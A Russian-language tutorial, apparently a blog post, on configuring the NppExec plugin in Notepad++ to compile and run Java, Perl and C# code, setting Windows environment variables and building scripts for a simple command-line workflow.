Так что, вообще говоря, NppExec — это инструмент. Этот инструмент делает именно то, что вы говорите, без каких-либо предположений, без неявного вызова чего-либо и так далее.

Это может быть критичто при разработке, когда «родная», «умная» консоль о чем-то «догадывается», к примеру в какой системе она запущена и может подставлять свои «умные» значения.

Do _not_ use NPP_EXEC to start a batch file or an executable file in NppExec!

Не используйте команду npp_exec для старта exe файла или bat файла.
Цель NPP_EXEC — выполнить собственный скрипт.
Для старта стороннего приложения напечатайте:
application.exe // в этом случае exe файл с именем application.exe
batchfile.bat // в этом случае batch с именем«batchfile.bat»

Нам остается только создать настройки для компиляции и выполнения. Мы сделаем эти настройки отдельно. Создадим настройки «для компиляции» и создадим настройки «для компиляции и выполнения».

Настройка системных переменных

Для того чтобы не вводить каждый раз полный путь к программе, будь то компилятор,
компоновщик, система сборки и т.д., вы можете установить системные переменные.
Как задаются системные переменные? Вы можете задать их в графическом интерфейсе, из cmd, используя Power Shell, используя regedit.

Как задать системные переменные используя графический интерфейс

Свойства компьютера\Дополнительно\Переменные среды\Переменные среды пользователя для «имя пользователя». Здесь вы можете создать, либо отредактировать имеющуюся переменную среды.

Как задать переменную среды используя командную строку

Для задания переменных окружения, вам нужно иметь права администратора.
сmd
SET

— вывод текущих установленных переменных системного окружения. Команда выводит не полный список.

Другие переменные принимают свои значения динамически:

%CD% - принимает значение текущего каталога.
%DATE% — принимает значение текущей даты.
%TIME% — принимает значение текущего времени.
%RANDOM% — значение случайного числа в диапазоне между 0 и 32767.
%ERRORLEVEL% — текущее значение ERRORLEVEL, специальной переменной, которая используется в качестве признака результата выполнения программы.
%CMDEXTVERSION% значение версии расширенной обработки команд CMD.EXE.
%CMDCMDLINE% — раскрывается в исходную командную строку, которая вызвала командный процессор.

SET переменная=строка

переменная — Имя переменной среды.
строка — Строка символов, присваиваемая указанной переменной.
set имя_переменной

— Показывает текущее значение переменной с именем имя_переменной.
echo %имя_переменной% 

— Выводит значение переменной.

Переменные, задаваемые командой set, действуют лишь на протяжении командной сессии, в которой они были заданы. То есть переменные будут действительны до прекращения сессии текущего пользователя либо до перезагрузки.

Для того чтобы переменные работали после перезагрузки, вам нужно добавить их в системный реестр (В случае использования систем линейки Windows). Они могут быть добавлены средствами GUI Windows:

Выберите Run или Выполнить(Клавиша Win+R)

control sysdm.cpl 

У вас отобразится окно свойств системы. Выберите «дополнительно» и «переменные среды».

Здесь есть два вида переменных среды. Это системные переменные и переменные среды пользователя. Переменные среды пользователя относятся к определенному пользователю системы и его системному окружению. Здесь вы можете задать переменную Path для быстрого доступа к часто используемым программам. Значение переменной представляет из себя строку.
Это набор путей разделенных символом ";".

Переменная среды́ (англ. environment variable) — текстовая переменная операционной системы, хранящая какую-либо информацию — например, данные о настройках системы. Переменные среды́ устанавливаются пользователем или сценариями оболочки.

Вы также можете сделать это с помощью утилиты командной строки для работы с реестром Windows — reg.

reg /?
— получение справки по данной утилите.
REG ADD <имя_раздела> [/v <имя_параметра> | /ve] [/t <тип>] [/s <разделитель>]
        [/d <данные>] [/f]
        [/reg:32 | /reg:64]

Пример использования скрипта для добавления системной переменой:
SET KEY=полный_путь_к_разделу_рееестра
SET PARM=имя_параметра

Эти переменные сохраняются до окончания текущей командной сессии либо до изменения значения в текущей сессии.

Чтобы добавить переменную path для текущего пользователя(текущий пользователь — пользователь имя которого вы использовали при входе в сеанс):

Устанавливаем значения переменных и используем их в команде

REG ADD ...

Значение Path указываем пути через точку с запятой.
SET KEY=HKEY_CURRENT_USER\Environment
SET PARAM=%systemdrive%\путь;d:\;
REG ADD %KEY% /v Path /d  %PARAM%

Нам нужно указать в значении PARAM все пути, которые у нас были уже установлены и путь к компилятору.

HKEY_CURRENT_USER — это ветка текущего пользователя в реестре.
Environment — здесь хранятся переменные среды.

Предупреждение: «Так вы работаете с системным реестром. Обязательно сделайте копию реестра и создайте контрольную точку восстановления вашей системы». Безопаснее будет устанавливать системные переменные и переменные среды пользователя штатными средствами.

Обязательно ознакомьтесь с материалами:

Как создать резервную копию и восстановить реестр в Windows
Применимо к: Windows 7, Windows 8.1, Windows 10 (Официальная поддержка Microsoft):
support.microsoft.com/ru-ru/help/322756

Создание точки восстановления системы
Применимо к: Windows 10
support.microsoft.com/ru-ru/help/4027538/windows-create-a-system-restore-point

mrt 
— запуск средства удаления вредоносных программ Malicious Software Removal Tool
Настройки NppExec в Notepad++

Открываем Nonepad++.
Нам нужно создать скрипты cmd.
Выбираем Плагины\NppExec\
Отключяем «Console Command History»;
Включаем «Save all files on execute»;
Включаем «Follow $(CURRENT_DIRECTORY)»

Выбираем Плагины\NppExec\Execute или нажимаем F6.

В открывшемся окне пишем:

cd "$(CURRENT_DIRECTORY)"
javac $(FILE_NAME)  

Нажимаем Save… и в поле ScriptNme пишем: CompileJava.
Данный скрипт будет выполнять наш код java.

Снова выбираем Плагины\NppExec\Execete или нажимаем F6.

cd "$(CURRENT_DIRECTORY)"   
java $(NAME_PART)

Нажимаем Save… и пишем имя «RunJava». Данный код, написанный выше, будет компилировать код Java.

Повторяем тоже самое и пишем (Для компиляции и выполнения):

cd "$(CURRENT_DIRECTORY)"
javac $(FILE_NAME)
if $(EXITCODE) !=0 goto exit
java $(NAME_PART)
:exit

Сохраняем как CompileAndRunJava.
Нажмем кнопку «ОК».
cd "$(CURRENT_DIRECTORY)"

— перейти в текущую папку. В данном случае текущей будет та папка, куда вы сохранили текстовый файл.
javac $(FILE_NAME) 

— компилировать файл с именем находящимся в переменной FILE_NAME.

В нашем случае это имя сохраненного файла. Далее следует условие.

if $(EXITCODE) !=0 goto exit 

— если наш код не возвратил нормальное завершение == 0, то выйти.
java $(NAME_PART) 

— выполнить наш скомпилированный файл.

Далее мы свяжем наши скрипты с макросами.

В Notepad++ выбираем Плагины (Plugins) \NppExec \Advanced options…

Ставим галочку напротив «Place to the Macros submenu». В раскрывающемся списке «Associated script:» выбираем нужный нам скрипт и даем ему имя в поле «Item Name». И нажимаем Add/Modify. Проделываем это для всех наших скриптов, нажимаем «Ок» и перезапускаем Notepad.

Решение проблем с неправильным выводом русских букв в консоли:
Плагины (Plugins)/ NppExec / Console Output

Ставим нужные нам кодировки ввода и вывода.

Отключение сообщений внутренней консоли: Плагины (Plugins) / NppExec / No internal messages.

В случае появления сообщение при выполнении файла ИмяНашегоКласса.class, о том что main не найден, просто меняем наш скрипт: То есть нам нужно указать либо полный путь к пакету либо указать текущий пакет символом «.».

У нас получится такой скрипт:

cd "$(CURRENT_DIRECTORY)"   
java . $(NAME_PART)

Если же cmd не находит файла javа, то указываем к нему полный путь.
ИмяДиска:\папка1\папка2\...\java. $(NAME_PART).

Слегка улучшим наш код:

npp_save 
cd "$(CURRENT_DIRECTORY)"
путь_к_javac\javac $(FILE_NAME) 
if $(EXITCODE) !=0 goto exit
путь_к_java\java . $(NAME_PART)
:exit 

Скрипт компиляции Perl:
 npp_save 
CD $(CURRENT_DIRECTORY)
perl.exe -c -w "$(FILE_NAME)" 

Объяснение скрипта:
npp_save — внутренняя команда npp, сохранить
CD $(CURRENT_DIRECTORY) — переход к текущей папке
perl.exe -c -w "$(FILE_NAME)" выполнение perl.exe -c -w
пример: perl.exe -c -w test.pl
-c означает compile, компилировать
-w означает warnings, выводить предупреждения

Скрипт для компиляции с#:


cd "$(CURRENT_DIRECTORY)"
Путь_к_csc\csc $(FILE_NAME)
if $(EXITCODE) !=0 goto exit
$(NAME_PART)
:exit

Здесь Путь_к_csc — это путь к вашему csc.exe
Обычно он выглядит так: %systemdrive%\Windows\Microsoft.NET\Framework64\версия\
Для 32-битной версии — Framework32. Вы можете не указывать полный путь, а добавить путь к вашей системной переменной.

Есть такая особенность cmd, когда вы меняете путь и указываете другой диск, то вы можете увидеть тот же самый путь. Кажется что ничего не происходит при выполнении команды:

 CD другой_диск:\папка1\папка2
.

Для смены диска вам нужно применять CD c ключем /D или явным образом указывать имя_диска: после ввода команды.

Пример 1:

cd e:\папка1\папка2
e:

Пример 2:

cd /D e:\папка1\папка2

здесь е — имя диска, которое отличается от текущего.

Методика выявления ошибок компиляции

У вас на этапе подготовки могут возникать различного рода ошибки и первое что вам нужно выяснить — это к чему относится ваша ошибка. То есть локализировать проблему. Для этого выясняем на каком уровне возникает проблема. Относится ли она к системе, к командной оболочке, к компилятору, текстовому редактору или к опечатке, ошибке в скрипте.
  1. Проверить запускается ли cmd и отрабатывают ли простейшие команды.
  2. Проверить ваш компилятор на предмет компиляции из командной строки.
  3. Проверить системные переменные
  4. Проверить установлен ли плагин NppExec
  5. Запускает ли он скрипты
  6. Связанны ли скрипты с макросами NppExec.
  7. Отрабатывают ли макросы совместно со скриптами.

Для более подробного вывода ошибок при компиляции смотрите документацию к вашей системе сборки, к компилятору и другим модулям, которые вы используете.

Теперь, когда мы создали, отладили и наши скрипты, убедились, что они работают предсказуемо, создали макросы для них, мы можем связать их с клавишами быстрого вызова. Как это сделать?
Мы не назначили горячие клавиши при создании скриптов, потому как назначение их, клавиш быстрого вызова, в окне создания скрипта ограничены.

Нам не предоставляется большого выбора из сочетаний клавиш на клавиатуре. К тому-же данные комбинации клавиш у нас могут быть заняты. Сделать назначение горячих клавиш или клавиш быстрого вызова мы можем в меню: Максросы/Измен.соч.клав./Удалить макро.

Какие у вас могут быть резоны познакомиться с командной строкой?

Вам может быть не придется использовать её часто. Но знать о её существовании просто необходимо. Например, на начальном этапе обучения вам нужно познакомиться с опциями компилятора, компоновщика, системы сборки и протестировать их. Вам понадобятся знание того, какие аргументы и ключи принимает программа на входе и что она может возвращать.
Не всегда у вас будет возможность использовать умные и дорогие IDE. И не потому что они могут оказаться слишком дороги, а по той причине, что вы просто не сможете установить их на некоторые системы. В других системах этого могут требовать меры безопасности. Вам может понадобится протестировать каждый модуль, такой как компилятор, линковщик, компановщик, систему сборки, систему контроля версий отдельно. То есть каждую часть вашей системы разработки. Вам может понадобится проверить корректность их работы по отдельности. В некоторых случаях вам может понадобится использовать другой компилятор с вашей IDE или любой другой отдельный модуль. Собирание кубиков графического интерфейса в IDE не делает из вас программиста. Вам понадобятся знания языков, знания архитектуры, знание некоторых скриптов, математические знания и т.д, то есть умение использовать в работе многих инструментов. В различных терминалах и консолях командная строка работает по разному. Это зависит от вашей консоли или терминала. Общие принципы работы для некоторых схожи, но для некоторых могут отличаться очень сильно. Командная строка — это только дополнительный инструмент в ваших руках, а насколько вы его эффективно использовать зависит от вас. В случае, когда вы занимаетесь opensource проектом, вы сможете предоставить командные файлы вашим пользователям для сборки, для тестирования проекта, развертывания проекта и тд. Для команды разработчиков такой подход может помочь более эффективно взаимодействовать. При этом это может оказаться выходом за пределы «комфорта» и нести дополнительные риски. Но использование любых инструментов несет в себе риски, во многом это определяется надежностью инструментов и умением их использовать.

В чем преимущество такого подхода к компиляции? Для обучающихся это приобретение новых навыков работы с командной строкой и связывание кода скриптов с текстовым редактором, изучение компиляции из командной строки. Экономия времени на тестировании небольшого кода без загрузки тяжелых IDE. В некоторых случаях, когда нет возможности установить полноценную IDE такой подход может выручить. Изучение скриптов для командной строки позволяет компилировать из исходников там где вообще нет никакой возможности применять UI, например на серверах. И хотя там не будет возможности использовать текстовые редакторы типа Notepad++, будет возможность использовать текстовые процессоры типа vi, vim, emacs, nano и тд. Основные принципы работы остаются теми же.

Мы с вами, несколько обзорно, познакомились с компиляцией из командной строки, с написанием скриптов для этого, с заданием и использованием системных переменных,
со связыванием кода скриптов с макросами Notepad++, c внутренними переменными Notepad++. Надеюсь данная статья будет полезна обучающимся. Здесь я описал подробно общие методики. Прежде чем обращаться в службу поддержки или отправлять баги, вам следует самостоятельно все выяснить. Во многих случаях может оказаться, что это ваша ошибка или опечатка, а не инженеров разработчиков.

Современные IDE имеют собственные консоли или эмуляторы консолей. Так что вам не обязательно использовать cmd для сборки. К тому же кроме cmd существует достаточно много подобных инструментов. Изучение работы скриптов может помочь вам в будущем в освоении таких инструментов, как системы сборки, компиляторов, компоновщиков, линковщиков. К тому же некоторые SDK не предоставляют графического пользовательского интереса(GUI), использование GUI может быть запрещено политикой безопасности, так как несет дополнительные угрозы в критических для этого областях применения.

Надеюсь данная публикация будет полезной в освоении, расширении новых знаний и навыков.

<<< Мои публикации на Habr >>>

Полезные ссылки

Как создать резервную копию и восстановить реестр в Windows
Применимо к: Windows 7Windows 8.1Windows 10 (Офиальная поддержка Microsoft)
support.microsoft.com/ru-ru/help/322756

Материалы для дополнительного изучения

notepad-plus-plus.org

Управление Java classpath (UNIX и Mac OS X)

Управление Java classpath (Windows)

Java — the Java application launcher

Для ознакомления:
Избавляемся от «исторических причин» в cmd.exe
habr.com/ru/post/260991

Сравнение командных оболочек
ru.wikipedia.org/wiki/%D0%A1%D1%80%D0%B0%D0%B2%D0%BD%D0%B5%D0%BD%D0%B8%D0%B5_%D0%BA%D0%BE%D0%BC%D0%B0%D0%BD%D0%B4%D0%BD%D1%8B%D1%85_%D0%BE%D0%B1%D0%BE%D0%BB%D0%BE%D1%87%D0%B5%D0%BA

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *